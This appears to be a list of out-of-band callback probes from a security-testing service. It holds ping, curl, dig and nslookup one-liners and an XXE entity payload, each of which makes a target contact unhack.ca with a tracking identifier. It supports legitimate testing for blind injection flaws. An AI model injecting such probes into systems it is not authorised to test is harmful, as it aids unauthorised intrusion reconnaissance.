$ ping -c1 -p 0090131f1072cd7215f02577082c4800 unhack.ca
$ curl http://unhack.ca/p/90131f1072cd7215f02577082c48
$ dig 90131f1072cd7215f02577082c48 @unhack.ca
$ dig 90131f1072cd7215f02577082c48.ns.unhack.ca
C:\> nslookup 90131f1072cd7215f02577082c48 unhack.ca
<?xml version="1.0" encoding="ISO-8859-1"?> <!DOCTYPE foo [<!ELEMENT foo ANY> <!ENTITY xxe SYSTEM "http://unhack.ca/p/90131f1072cd7215f02577082c48">]> <foo>&xxe;</foo>